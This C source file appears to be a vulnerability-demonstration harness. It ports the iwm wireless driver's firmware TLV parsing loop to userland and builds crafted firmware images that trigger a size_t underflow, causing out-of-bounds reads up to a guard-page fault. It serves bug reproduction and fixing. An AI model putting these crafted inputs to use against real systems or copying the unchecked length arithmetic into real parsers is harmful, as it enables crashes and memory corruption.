/*
 * DF-3631 harness: faithful userland port of the iwm_read_firmware() TLV
 * walk in sys/dev/netif/iwm/if_iwm.c (lines 606-638), used to demonstrate
 * the size_t underflow in
 *
 *      len -= roundup2(tlv_len, 4);          (if_iwm.c:637)
 *      data += sizeof(*tlv) + roundup2(tlv_len, 4);   (if_iwm.c:638)
 *
 * The loop guard is only `if (len < tlv_len)` (if_iwm.c:630).  When the
 * final TLV has a length that is not a multiple of 4 and ends exactly at
 * the end of the firmware image, roundup2(tlv_len,4) == tlv_len + k (k>0)
 * and the subtraction underflows: len becomes ~SIZE_MAX and the parser
 * keeps reading TLV headers past the end of the firmware buffer.
 *
 * The crafted image is placed at the end of an mmap'd page followed by a
 * PROT_NONE guard page, so the first OOB header read faults with SIGSEGV
 * exactly like the kernel would fault (or silently corrupt) past the
 * kmalloc'd firmware image.
 *
 * Case A: valid TLVs, final TLV = SEC_RT with length 5 at end of buffer.
 * Case B: file shorter than sizeof(struct iwm_tlv_ucode_header) ->
 *         `len = datasize - sizeof(*uhdr)` underflows immediately
 *         (if_iwm.c:620).
 *
 * Build: cc -O2 -o tlv_underflow tlv_underflow.c
 * Run:   ./tlv_underflow A|B
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* --- verbatim structure/constant definitions from if_iwmreg.h --- */
struct iwm_ucode_tlv {
	uint32_t type;
	uint32_t length;
	uint8_t data[0];
};

struct iwm_tlv_ucode_header {
	uint32_t zero;
	uint32_t magic;
	uint8_t human_readable[64];
	uint32_t ver;
	uint32_t build;
	uint64_t ignore;
	uint8_t data[0];
} __packed;

#define IWM_TLV_UCODE_MAGIC	0x0a4c5749
#define IWM_UCODE_TLV_PAN	7
#define IWM_UCODE_TLV_SEC_RT	19
#define IWM_UCODE_TLV_NUM_OF_CPU	27

#define roundup2(x, y) (((x)+((y)-1))&(~((y)-1)))

static uint32_t le32dec_(const void *p) {
	const uint8_t *b = p;
	return (uint32_t)b[0] | ((uint32_t)b[1] << 8) |
	    ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 24);
}

/* counters standing in for sc->sc_fw state */
static int sec_count;

/* verbatim from if_iwm.c:446-474 (iwm_firmware_store_section) */
static int
fw_store_section(const uint8_t *d, size_t dlen)
{
	if (dlen < sizeof(uint32_t))
		return 1;
	/* first 32bit are device load offset; rest is data */
	sec_count++;
	return 0;
}

/*
 * Verbatim walk from iwm_read_firmware() if_iwm.c:619-638 plus the two
 * switch arms our crafted image exercises (NUM_OF_CPU, SEC_RT).
 * device_printf -> fprintf(stderr, ...).
 */
static void
parse(const uint8_t *fwdata, size_t datasize)
{
	const struct iwm_tlv_ucode_header *uhdr;
	const struct iwm_ucode_tlv *tlv;
	const uint8_t *data;
	uint32_t tlv_len;
	size_t len;
	int niter = 0;

	uhdr = (const void *)fwdata;
	data = uhdr->data;
	len = datasize - sizeof(*uhdr);		/* if_iwm.c:620 */

	while (len >= sizeof(*tlv)) {		/* if_iwm.c:622 */
		len -= sizeof(*tlv);
		tlv = (const void *)data;

		tlv_len = le32dec_(&tlv->length);

		if (len < tlv_len) {		/* if_iwm.c:630 - the ONLY check */
			fprintf(stderr,
			    "[harness] firmware too short: %zu bytes\n", len);
			return;
		}
		len -= roundup2(tlv_len, 4);	/* if_iwm.c:637 UNDERFLOW SITE */
		data += sizeof(*tlv) + roundup2(tlv_len, 4);

		fprintf(stderr,
		    "[harness] iter %d: TLV at %zd (buf+%zd) type %u len %u "
		    "-> remaining len field = %zu (0x%zx)\n",
		    ++niter, (ssize_t)((const uint8_t *)tlv - fwdata),
		    (ssize_t)((const uint8_t *)tlv - fwdata),
		    le32dec_(&tlv->type), tlv_len, len, len);

		switch (le32dec_(&tlv->type)) {
		case IWM_UCODE_TLV_NUM_OF_CPU:
			/* exact-length check present in driver; len==4 ok */
			break;
		case IWM_UCODE_TLV_SEC_RT:
			if (fw_store_section(tlv->data, tlv_len) != 0) {
				fprintf(stderr, "[harness] store sec fail\n");
				return;
			}
			break;
		default:
			fprintf(stderr, "[harness] unknown TLV, abort\n");
			return;
		}
	}
	fprintf(stderr, "[harness] parse completed cleanly after %d TLVs\n",
	    niter);
}

static uint8_t *
image_at_page_end(size_t *outsize, int mode)
{
	/*
	 * Map 2 pages, mprotect the 2nd PROT_NONE, place the image so that
	 * it ends exactly at the page boundary.
	 */
	size_t pagesize = (size_t)sysconf(_SC_PAGESIZE);
	size_t tot;
	uint8_t *base, *img;

	if (mode == 'A') {
		/* hdr(88) + tlv1 hdr(8)+4 + tlv2 hdr(8)+5 = 113 */
		tot = 88 + (8 + 4) + (8 + 5);
	} else {
		tot = 40;	/* < sizeof(header)=88 */
	}

	base = mmap(NULL, tot + pagesize, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (base == MAP_FAILED) {
		perror("mmap");
		exit(2);
	}
	if (mprotect(base + ((tot + pagesize - 1) & ~(pagesize - 1)),
	    pagesize, PROT_NONE) != 0) {
		perror("mprotect");
		exit(2);
	}
	img = base + (((tot + pagesize - 1) & ~(pagesize - 1)) - tot);
	memset(img, 0, tot);

	if (mode == 'A') {
		struct iwm_tlv_ucode_header *h = (void *)img;
		h->zero = 0;
		h->magic = IWM_TLV_UCODE_MAGIC;
		h->ver = 0x00000022;
		/* TLV #1: NUM_OF_CPU = 1, aligned */
		struct iwm_ucode_tlv *t1 = (void *)(img + 88);
		*(uint32_t *)&t1->type = IWM_UCODE_TLV_NUM_OF_CPU;
		*(uint32_t *)&t1->length = 4;
		t1->data[0] = 1;
		/* TLV #2: SEC_RT, length 5 (UNALIGNED), ends at image end */
		struct iwm_ucode_tlv *t2 = (void *)(img + 88 + 12);
		*(uint32_t *)&t2->type = IWM_UCODE_TLV_SEC_RT;
		*(uint32_t *)&t2->length = 5;
		memset(t2->data, 0xAA, 5);
	} else {
		struct iwm_tlv_ucode_header *h = (void *)img;
		h->zero = 0;
		h->magic = IWM_TLV_UCODE_MAGIC;
		/* 40-byte file: header truncated; uhdr->data starts in-page */
	}

	*outsize = tot;
	return img;
}

int
main(int argc, char **argv)
{
	size_t datasize;
	uint8_t *img;
	int mode;

	if (argc < 2 || ((mode = argv[1][0]) != 'A' && mode != 'B')) {
		fprintf(stderr, "usage: %s A|B\n", argv[0]);
		return 2;
	}

	img = image_at_page_end(&datasize, mode);
	fprintf(stderr, "[harness] mode %c: image %zu bytes ending at guard "
	    "page; entering verbatim iwm_read_firmware walk\n", mode, datasize);

	parse(img, datasize);

	/* NOT REACHED on the vulnerable path */
	fprintf(stderr, "[harness] returned without faulting\n");
	return 0;
}
